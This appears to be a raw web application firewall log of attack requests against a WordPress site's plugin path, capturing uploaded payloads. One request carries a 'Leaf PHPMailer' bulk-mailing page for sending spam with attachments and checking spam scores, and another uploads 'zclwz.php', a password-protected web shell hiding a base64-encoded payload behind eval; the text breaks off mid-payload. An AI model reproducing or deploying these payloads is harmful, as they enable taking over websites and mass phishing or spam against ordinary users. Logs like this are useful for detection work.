'zip' => 'application\/zip',\n 'mid' => 'audio\/midi',\n 'midi' => 'audio\/midi',\n 'mp2' => 'audio\/mpeg',\n 'mp3' => 'audio\/mpeg',\n 'mpga' => 'audio\/mpeg',\n 'aif' => 'audio\/x-aiff',\n 'aifc' => 'audio\/x-aiff',\n 'aiff' => 'audio\/x-aiff',\n 'ram' => 'audio\/x-pn-realaudio',\n 'rm' => 'audio\/x-pn-realaudio',\n 'rpm' => 'audio\/x-pn-realaudio-plugin',\n 'ra' => 'audio\/x-realaudio',\n 'wav' => 'audio\/x-wav',\n 'bmp' => 'image\/bmp',\n 'gif' => 'image\/gif',\n 'jpeg' => 'image\/jpeg',\n 'jpe' => 'image\/jpeg',\n 'jpg' => 'image\/jpeg',\n 'png' => 'image\/png',\n 'tiff' => 'image\/tiff',\n 'tif' => 'image\/tiff',\n 'eml' => 'message\/rfc822',\n 'css' => 'text\/css',\n 'html' => 'text\/html',\n 'htm' => 'text\/html',\n 'shtml' => 'text\/html',\n 'log' => 'text\/plain',\n 'text' => 'text\/plain',\n 'txt' => 'text\/plain',\n 'rtx' => 'text\/richtext',\n 'rtf' => 'text\/rtf',\n 'vcf' => 'text\/vcard',\n 'vcard' => 'text\/vcard',\n 'xml' => 'text\/xml',\n 'xsl' => 'text\/xml',\n 'mpeg' => 'video\/mpeg',\n 'mpe' => 'video\/mpeg',\n 'mpg' => 'video\/mpeg',\n 'mov' => 'video\/quicktime',\n 'qt' => 'video\/quicktime',\n 'rv' => 'video\/vnd.rn-realvideo',\n 'avi' => 'video\/x-msvideo',\n 'movie' => 'video\/x-sgi-movie'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return 'application\/octet-stream';\n }\n\n \/**\n * Map a file name to a MIME type.\n * Defaults to 'application\/octet-stream', i.e.. arbitrary binary data.\n * @param string $filename A file name or full path, does not need to exist as a file\n * @return string\n * @static\n *\/\n public static function filenameToType($filename)\n {\n \/\/ In case the path is a URL, strip any query string before getting extension\n $qpos = strpos($filename, '?');\n if (false !== $qpos) {\n $filename = substr($filename, 0, $qpos);\n }\n $pathinfo = self::mb_pathinfo($filename);\n return self::_mime_types($pathinfo['extension']);\n }\n\n \/**\n * Multi-byte-safe pathinfo replacement.\n * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n * Works similarly to the one in PHP >= 5.2.0\n * @link http:\/\/www.php.net\/manual\/en\/function.pathinfo.php#107461\n * @param string $path A filename or path, does not need to exist as a file\n * @param integer|string $options Either a PATHINFO_* constant,\n * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2\n * @return string|array\n * @static\n *\/\n public static function mb_pathinfo($path, $options = null)\n {\n $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');\n $pathinfo = array();\n if (preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im', $path, $pathinfo)) {\n if (array_key_exists(1, $pathinfo)) {\n $ret['dirname'] = $pathinfo[1];\n }\n if (array_key_exists(2, $pathinfo)) {\n $ret['basename'] = $pathinfo[2];\n }\n if (array_key_exists(5, $pathinfo)) {\n $ret['extension'] = $pathinfo[5];\n }\n if (array_key_exists(3, $pathinfo)) {\n $ret['filename'] = $pathinfo[3];\n }\n }\n switch ($options) {\n case PATHINFO_DIRNAME:\n case 'dirname':\n return $ret['dirname'];\n case PATHINFO_BASENAME:\n case 'basename':\n return $ret['basename'];\n case PATHINFO_EXTENSION:\n case 'extension':\n return $ret['extension'];\n case PATHINFO_FILENAME:\n case 'filename':\n return $ret['filename'];\n default:\n return $ret;\n }\n }\n\n \/**\n * Set or reset instance properties.\n * You should avoid this function - it's more verbose, less efficient, more error-prone and\n * harder to debug than setting properties directly.\n * Usage Example:\n * `$mail->set('SMTPSecure', 'tls');`\n * is the same as:\n * `$mail->SMTPSecure = 'tls';`\n * @access public\n * @param string $name The property name to set\n * @param mixed $value The value to set the property to\n * @return boolean\n * @TODO Should this not be using the __set() magic function?\n *\/\n public function set($name, $value = '')\n {\n if (property_exists($this, $name)) {\n $this->$name = $value;\n return true;\n } else {\n $this->setError($this->lang('variable_set') . $name);\n return false;\n }\n }\n\n \/**\n * Strip newlines to prevent header injection.\n * @access public\n * @param string $str\n * @return string\n *\/\n public function secureHeader($str)\n {\n return trim(str_replace(array(\"\\r\", \"\\n\"), '', $str));\n }\n\n \/**\n * Normalize line breaks in a string.\n * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n * @param string $text\n * @param string $breaktype What kind of line break to use, defaults to CRLF\n * @return string\n * @access public\n * @static\n *\/\n public static function normalizeBreaks($text, $breaktype = \"\\r\\n\")\n {\n return preg_replace('\/(\\r\\n|\\r|\\n)\/ms', $breaktype, $text);\n }\n\n \/**\n * Set the public and private key files and password for S\/MIME signing.\n * @access public\n * @param string $cert_filename\n * @param string $key_filename\n * @param string $key_pass Password for private key\n * @param string $extracerts_filename Optional path to chain certificate\n *\/\n public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')\n {\n $this->sign_cert_file = $cert_filename;\n $this->sign_key_file = $key_filename;\n $this->sign_key_pass = $key_pass;\n $this->sign_extracerts_file = $extracerts_filename;\n }\n\n \/**\n * Quoted-Printable-encode a DKIM header.\n * @access public\n * @param string $txt\n * @return string\n *\/\n public function DKIM_QP($txt)\n {\n $line = '';\n for ($i = 0; $i < strlen($txt); $i++) {\n $ord = ord($txt[$i]);\n if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n $line .= $txt[$i];\n } else {\n $line .= '=' . sprintf('%02X', $ord);\n }\n }\n return $line;\n }\n\n \/**\n * Generate a DKIM signature.\n * @access public\n * @param string $signHeader\n * @throws phpmailerException\n * @return string The DKIM signature value\n *\/\n public function DKIM_Sign($signHeader)\n {\n if (!defined('PKCS7_TEXT')) {\n if ($this->exceptions) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n return '';\n }\n $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n if ('' != $this->DKIM_passphrase) {\n $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n } else {\n $privKey = openssl_pkey_get_private($privKeyStr);\n }\n \/\/Workaround for missing digest algorithms in old PHP & OpenSSL versions\n \/\/@link http:\/\/stackoverflow.com\/a\/11117338\/333340\n if (version_compare(PHP_VERSION, '5.3.0') >= 0 and\n in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {\n if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n } else {\n $pinfo = openssl_pkey_get_details($privKey);\n $hash = hash('sha256', $signHeader);\n \/\/'Magic' constant for SHA256 from RFC3447\n \/\/@link https:\/\/tools.ietf.org\/html\/rfc3447#page-43\n $t = '3031300d060960864801650304020105000420' . $hash;\n $pslen = $pinfo['bits'] \/ 8 - (strlen($t) \/ 2 + 3);\n $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);\n\n if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n }\n openssl_pkey_free($privKey);\n return '';\n }\n\n \/**\n * Generate a DKIM canonicalization header.\n * @access public\n * @param string $signHeader Header\n * @return string\n *\/\n public function DKIM_HeaderC($signHeader)\n {\n $signHeader = preg_replace('\/\\r\\n\\s+\/', ' ', $signHeader);\n $lines = explode(\"\\r\\n\", $signHeader);\n foreach ($lines as $key => $line) {\n list($heading, $value) = explode(':', $line, 2);\n $heading = strtolower($heading);\n $value = preg_replace('\/\\s{2,}\/', ' ', $value); \/\/ Compress useless spaces\n $lines[$key] = $heading . ':' . trim($value); \/\/ Don't forget to remove WSP around the value\n }\n $signHeader = implode(\"\\r\\n\", $lines);\n return $signHeader;\n }\n\n \/**\n * Generate a DKIM canonicalization body.\n * @access public\n * @param string $body Message Body\n * @return string\n *\/\n public function DKIM_BodyC($body)\n {\n if ($body == '') {\n return \"\\r\\n\";\n }\n \/\/ stabilize line endings\n $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n \/\/ END stabilize line endings\n while (substr($body, strlen($body) - 4, 4) == \"\\r\\n\\r\\n\") {\n $body = substr($body, 0, strlen($body) - 2);\n }\n return $body;\n }\n\n \/**\n * Create the DKIM header and body in a new message header.\n * @access public\n * @param string $headers_line Header lines\n * @param string $subject Subject\n * @param string $body Body\n * @return string\n *\/\n public function DKIM_Add($headers_line, $subject, $body)\n {\n $DKIMsignatureType = 'rsa-sha256'; \/\/ Signature & hash algorithms\n $DKIMcanonicalization = 'relaxed\/simple'; \/\/ Canonicalization of header\/body\n $DKIMquery = 'dns\/txt'; \/\/ Query method\n $DKIMtime = time(); \/\/ Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n $subject_header = \"Subject: $subject\";\n $headers = explode($this->LE, $headers_line);\n $from_header = '';\n $to_header = '';\n $date_header = '';\n $current = '';\n foreach ($headers as $header) {\n if (strpos($header, 'From:') === 0) {\n $from_header = $header;\n $current = 'from_header';\n } elseif (strpos($header, 'To:') === 0) {\n $to_header = $header;\n $current = 'to_header';\n } elseif (strpos($header, 'Date:') === 0) {\n $date_header = $header;\n $current = 'date_header';\n } else {\n if (!empty($$current) && strpos($header, ' =?') === 0) {\n $$current .= $header;\n } else {\n $current = '';\n }\n }\n }\n $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));\n $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));\n $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));\n $subject = str_replace(\n '|',\n '=7C',\n $this->DKIM_QP($subject_header)\n ); \/\/ Copied header fields (dkim-quoted-printable)\n $body = $this->DKIM_BodyC($body);\n $DKIMlen = strlen($body); \/\/ Length of body\n $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); \/\/ Base64 of packed binary SHA-256 hash of body\n if ('' == $this->DKIM_identity) {\n $ident = '';\n } else {\n $ident = ' i=' . $this->DKIM_identity . ';';\n }\n $dkimhdrs = 'DKIM-Signature: v=1; a=' .\n $DKIMsignatureType . '; q=' .\n $DKIMquery . '; l=' .\n $DKIMlen . '; s=' .\n $this->DKIM_selector .\n \";\\r\\n\" .\n \"\\tt=\" . $DKIMtime . '; c=' . $DKIMcanonicalization . \";\\r\\n\" .\n \"\\th=From:To:Date:Subject;\\r\\n\" .\n \"\\td=\" . $this->DKIM_domain . ';' . $ident . \"\\r\\n\" .\n \"\\tz=$from\\r\\n\" .\n \"\\t|$to\\r\\n\" .\n \"\\t|$date\\r\\n\" .\n \"\\t|$subject;\\r\\n\" .\n \"\\tbh=\" . $DKIMb64 . \";\\r\\n\" .\n \"\\tb=\";\n $toSign = $this->DKIM_HeaderC(\n $from_header . \"\\r\\n\" .\n $to_header . \"\\r\\n\" .\n $date_header . \"\\r\\n\" .\n $subject_header . \"\\r\\n\" .\n $dkimhdrs\n );\n $signed = $this->DKIM_Sign($toSign);\n return $dkimhdrs . $signed . \"\\r\\n\";\n }\n\n \/**\n * Detect if a string contains a line longer than the maximum line length allowed.\n * @param string $str\n * @return boolean\n * @static\n *\/\n public static function hasLineLongerThanMax($str)\n {\n \/\/+2 to include CRLF line break for a 1000 total\n return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH + 2).',})\/m', $str);\n }\n\n \/**\n * Allows for public read access to 'to' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getToAddresses()\n {\n return $this->to;\n }\n\n \/**\n * Allows for public read access to 'cc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getCcAddresses()\n {\n return $this->cc;\n }\n\n \/**\n * Allows for public read access to 'bcc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getBccAddresses()\n {\n return $this->bcc;\n }\n\n \/**\n * Allows for public read access to 'ReplyTo' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getReplyToAddresses()\n {\n return $this->ReplyTo;\n }\n\n \/**\n * Allows for public read access to 'all_recipients' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getAllRecipientAddresses()\n {\n return $this->all_recipients;\n }\n\n \/**\n * Perform a callback.\n * @param boolean $isSent\n * @param array $to\n * @param array $cc\n * @param array $bcc\n * @param string $subject\n * @param string $body\n * @param string $from\n *\/\n protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n {\n if (!empty($this->action_function) && is_callable($this->action_function)) {\n $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n call_user_func_array($this->action_function, $params);\n }\n }\n}\n\n\/**\n * PHPMailer exception handler\n * @package PHPMailer\n *\/\nclass phpmailerException extends Exception\n{\n \/**\n * Prettify error message output\n * @return string\n *\/\n public function errorMessage()\n {\n $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . \"<\/strong><br \/>\\n\";\n return $errorMsg;\n }\n}\nfunction leafheader(){\nprint '\n<head>\n <title>'.str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']).' - LuFix.gs<\/title>\n <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"\/>\n <link href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootswatch\/3.4.1\/cosmo\/bootstrap.min.css\" rel=\"stylesheet\" >\n <script src=\"https:\/\/leafmailer.pw\/style2.js\"><\/script>\n\n<\/head>';\n}\nleafheader();\nprint '<body>';\nprint '<div class=\"container col-lg-6\">\n <h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>'.$leaf['version'].'<\/small><\/h3>\n <form name=\"form\" id=\"form\" method=\"POST\" enctype=\"multipart\/form-data\" action=\"\">\n <input type=\"hidden\" name=\"action\" value=\"score\">\n\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \"><label for=\"senderEmail\">Email<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderEmail\" name=\"senderEmail\" value=\"'.$senderEmail.'\"><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"senderName\">Sender Name<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderName\" name=\"senderName\" value=\"'.$senderName.'\"><\/div>\n <\/div>\n <div class=\"row\">\n <span class=\"form-group col-lg-6 \"><label for=\"attachment\">Attachment <small>(Multiple Available)<\/small><\/label><input type=\"file\" name=\"attachment[]\" id=\"attachment[]\" multiple\/><\/span>\n\n <div class=\"form-group col-lg-6\"><label for=\"replyTo\">Reply-to<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"replyTo\" name=\"replyTo\" value=\"'.$replyTo.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-12 \"><label for=\"subject\">Subject<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"subject\" name=\"subject\" value=\"'.$subject.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6\"><label for=\"messageLetter\">Message Letter <button type=\"submit\" class=\"btn btn-default btn-xs\" form=\"form\" name=\"action\" value=\"view\" formtarget=\"_blank\">Preview <\/button><\/label><textarea name=\"messageLetter\" id=\"messageLetter\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$messageLetter.'<\/textarea><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"emailList\">Email List <a href=\"?emailfilter=on\" target=\"_blank\" class=\"btn btn-default btn-xs\">Filter\/Extract<\/a><\/label><textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$emailList.'<\/textarea><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \">\n <label for=\"messageType\">Message Type<\/label>\n HTML <input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"1\" '.$html.'>\n Plain<input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"2\" '.$plain.'>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"charset\">Character set<\/label>\n <select class=\"form-control input-sm\" id=\"charset\" name=\"charset\">\n <option '.$utf8.'>UTF-8<\/option>\n <option '.$iso.'>ISO-8859-1<\/option>\n <\/select>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"encoding\">Message encoding<\/label>\n <select class=\"form-control input-sm\" id=\"encode\" name=\"encode\">\n <option '.$bit8.'>8bit<\/option>\n <option '.$bit7.'>7bit<\/option>\n <option '.$binary.'>binary<\/option>\n <option '.$base64.'>base64<\/option>\n <option '.$quotedprintable.'>quoted-printable<\/option>\n\n <\/select>\n <\/div>\n <\/div>\n <button type=\"submit\" class=\"btn btn-default btn-sm\" form=\"form\" name=\"action\" value=\"send\">SEND<\/button> or <a href=\"#\" onclick=\"document.getElementById(\\'form\\').submit(); return false;\">check SpamAssassin Score<\/a>\n \n <\/form>\n <\/div>\n <div class=\"col-lg-6\"><br>\n <label for=\"well\">Instruction<\/label>\n <div id=\"well\" class=\"well well\">\n <h4>Server Information<\/h4>\n <ul>\n <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' <\/b> <a href=\"?check_ip='.$_SERVER['SERVER_ADDR'].'\" target=\"_blank\" class=\"label label-primary\">Check Blacklist <i class=\"glyphicon glyphicon-search\"><\/i><\/a><\/li>\n <li>PHP Version : <b>'.phpversion().'<\/b><\/li>\n \n\n <\/ul>\n <h4>HELP<\/h4>\n <ul>\n <li>[-email-] : <b>Reciver Email<\/b> (emailuser@emaildomain.com)<\/li>\n <ul>\n <li>[-emailuser-] : <b>Email User<\/b> (emailuser) <\/li>\n <li>[-emaildomain-] : <b>Email User<\/b> (emaildomain.com) <\/li>\n <\/ul>\n <li>[-time-] : <b>Date and Time<\/b> ('.date(\"m\/d\/Y h:i:s a\", time()).')<\/li>\n \n <li>[-randomstring-] : <b>Random string (0-9,a-z)<\/b><\/li>\n <li>[-randomnumber-] : <b>Random number (0-9) <\/b><\/li>\n <li>[-randomletters-] : <b>Random Letters(a-z) <\/b><\/li>\n <li>[-randommd5-] : <b>Random MD5 <\/b><\/li>\n <\/ul>\n <h4>example<\/h4>\n Receiver Email = <b>user@domain.com<\/b><br>\n <ul>\n <li>hello <b>[-emailuser-]<\/b> = hello <b>user<\/b><\/li>\n <li>your domain is <b>[-emaildomain-]<\/b> = Your Domain is <b>domain.com<\/b><\/li>\n <li>your code is <b>[-randommd5-]<\/b> = your code is <b>e10adc3949ba59abbe56e057f20f883e<\/b><\/li>\n <\/ul>\n\n <h6>by <b><a href=\"http:\/\/'.$leaf['website'].'\">'.$leaf['website'].'<\/a><\/b><\/h6>\n <\/div>\n <\/div>'; \nif($_POST['action']==\"send\"){\n print ' <div class=\"col-lg-12\">';\n $maillist=explode(\"\\r\\n\", $emailList);\n $n=count($maillist);\n $x =1;\n foreach ($maillist as $email ) {\n print '<div class=\"col-lg-1\">['.$x.'\/'.$n.']<\/div><div class=\"col-lg-4\">'.$email.'<\/div>';\n if(!leafMailCheck($email)) {\n print '<div class=\"col-lg-6\"><span class=\"label label-default\">Incorrect Email<\/span><\/div>';\n print \"<br>\\r\\n\";\n }\n else {\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress($email);\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n for($i=0; $i<count($_FILES['attachment']['name']); $i++) {\n if ($_FILES['attachment']['tmp_name'][$i] != \"\"){\n $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);\n }\n\n }\n \n if (!$mail->send()) {\n echo '<div class=\"col-lg-6\"><span class=\"label label-default\">'.htmlspecialchars($mail->ErrorInfo).'<\/span><\/div>';\n }\n else {\n echo '<div class=\"col-lg-6\"><span class=\"label label-success\">Ok<\/span><\/div>';\n }\n print \"<br>\\r\\n\";\n }\n $x++;\n for($k = 0; $k < 40000; $k++) {echo ' ';}\n }\n\n}\nelseif($_POST['action']==\"score\"){\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress(\"username@domain.com\");\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n $mail->preSend();\n $messageHeaders=$mail->getSentMIMEMessage();\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, 'http:\/\/spamcheck.postmarkapp.com\/filter');\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n $response = curl_exec($ch);\n $response = json_decode($response);\n print ' <div class=\"col-lg-12\">';\n if ($response->success == TRUE ){\n $score = $response->score;\n if ($score > 5 ) $class=\"danger\";\n else $class=\"success\";\n print '<div class=\"text-'.$class.'\">Your SpamAssassin score is '.$score.' <\/div>\n<div>Full Report : <pre>'.$response->report.'<\/pre><\/div>';\nprint ' <\/div>';\n }\n}\nprint '<\/body>';\n?>\r\n--4d19cb7ea8263730fce9b19d51dee65e\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--4d19cb7ea8263730fce9b19d51dee65e\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--4d19cb7ea8263730fce9b19d51dee65e\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--4d19cb7ea8263730fce9b19d51dee65e--\r\n"]
["2026-05-26 21:53:44","170.205.30.68","POST","\/wp-content\/plugins\/gfrmz\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/gfrmz\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=820ea374cd2beaf84e7e8b7987ff2cf6\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:73112\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--820ea374cd2beaf84e7e8b7987ff2cf6\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--820ea374cd2beaf84e7e8b7987ff2cf6\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--820ea374cd2beaf84e7e8b7987ff2cf6\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"zclwz.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n$▛ = \"59e8d97dbcc1d0f65dea6ecd0e9fbe39\"; \/\/Pass: xleet\n$o= \"ba\".\"se\".\"\\x36\\x34\\x5F\".\"de\".\"c\".\"ode\";\neval($o(\"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUd